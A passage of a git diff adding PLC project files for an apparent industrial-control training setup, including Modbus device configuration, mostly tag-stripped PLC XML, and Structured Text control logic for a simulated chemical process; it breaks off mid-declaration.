next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml new file mode 100644 index 0000000..ab595e3 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml @@ -0,0 +1,5125 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + run_bit + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_sp + + + + + + + 0 + + + + + + + 65535 + + + + + + + 65535 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg b/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg new file mode 100644 index 0000000..c4103e8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg @@ -0,0 +1,115 @@ +Num_Devices = "6" + +# Device 0 +device0.name = "feed 1" +device0.protocol = "TCP" +device0.slave_id = "247" +device0.address = "192.168.95.10" +device0.IP_Port = "502" +device0.RTU_Baud_Rate = "" +device0.RTU_Parity = "" +device0.RTU_Data_Bits = "" +device0.RTU_Stop_Bits = "" +device0.Discrete_Inputs_Start = "0" +device0.Discrete_Inputs_Size = "0" +device0.Coils_Start = "0" +device0.Coils_Size = "0" +device0.Input_Registers_Start = "1" +device0.Input_Registers_Size = "2" +device0.Holding_Registers_Start = "1" +device0.Holding_Registers_Size = "1" + +# Device 1 +device1.name = "feed 2" +device1.protocol = "TCP" +device1.slave_id = "247" +device1.address = "192.168.95.11" +device1.IP_Port = "502" +device1.RTU_Baud_Rate = "" +device1.RTU_Parity = "" +device1.RTU_Data_Bits = "" +device1.RTU_Stop_Bits = "" +device1.Discrete_Inputs_Start = "0" +device1.Discrete_Inputs_Size = "0" +device1.Coils_Start = "0" +device1.Coils_Size = "0" +device1.Input_Registers_Start = "1" +device1.Input_Registers_Size = "2" +device1.Holding_Registers_Start = "1" +device1.Holding_Registers_Size = "1" + +# Device 2 +device2.name = "purge" +device2.protocol = "TCP" +device2.slave_id = "247" +device2.address = "192.168.95.12" +device2.IP_Port = "502" +device2.RTU_Baud_Rate = "" +device2.RTU_Parity = "" +device2.RTU_Data_Bits = "" +device2.RTU_Stop_Bits = "" +device2.Discrete_Inputs_Start = "0" +device2.Discrete_Inputs_Size = "0" +device2.Coils_Start = "0" +device2.Coils_Size = "0" +device2.Input_Registers_Start = "1" +device2.Input_Registers_Size = "2" +device2.Holding_Registers_Start = "1" +device2.Holding_Registers_Size = "1" + +# Device 3 +device3.name = "product" +device3.protocol = "TCP" +device3.slave_id = "247" +device3.address = "192.168.95.13" +device3.IP_Port = "502" +device3.RTU_Baud_Rate = "" +device3.RTU_Parity = "" +device3.RTU_Data_Bits = "" +device3.RTU_Stop_Bits = "" +device3.Discrete_Inputs_Start = "0" +device3.Discrete_Inputs_Size = "0" +device3.Coils_Start = "0" +device3.Coils_Size = "0" +device3.Input_Registers_Start = "1" +device3.Input_Registers_Size = "2" +device3.Holding_Registers_Start = "1" +device3.Holding_Registers_Size = "1" + +# Device 4 +device4.name = "tank" +device4.protocol = "TCP" +device4.slave_id = "247" +device4.address = "192.168.95.14" +device4.IP_Port = "502" +device4.RTU_Baud_Rate = "" +device4.RTU_Parity = "" +device4.RTU_Data_Bits = "" +device4.RTU_Stop_Bits = "" +device4.Discrete_Inputs_Start = "0" +device4.Discrete_Inputs_Size = "0" +device4.Coils_Start = "0" +device4.Coils_Size = "0" +device4.Input_Registers_Start = "1" +device4.Input_Registers_Size = "2" +device4.Holding_Registers_Start = "0" +device4.Holding_Registers_Size = "0" + +# Device 5 +device5.name = "analyzer" +device5.protocol = "TCP" +device5.slave_id = "247" +device5.address = "192.168.95.15" +device5.IP_Port = "502" +device5.RTU_Baud_Rate = "" +device5.RTU_Parity = "" +device5.RTU_Data_Bits = "" +device5.RTU_Stop_Bits = "" +device5.Discrete_Inputs_Start = "0" +device5.Discrete_Inputs_Size = "0" +device5.Coils_Start = "0" +device5.Coils_Size = "0" +device5.Input_Registers_Start = "1" +device5.Input_Registers_Size = "3" +device5.Holding_Registers_Start = "0" +device5.Holding_Registers_Size = "0" diff --git a/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st new file mode 100644 index 0000000..02d6438 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st @@ -0,0 +1,480 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge 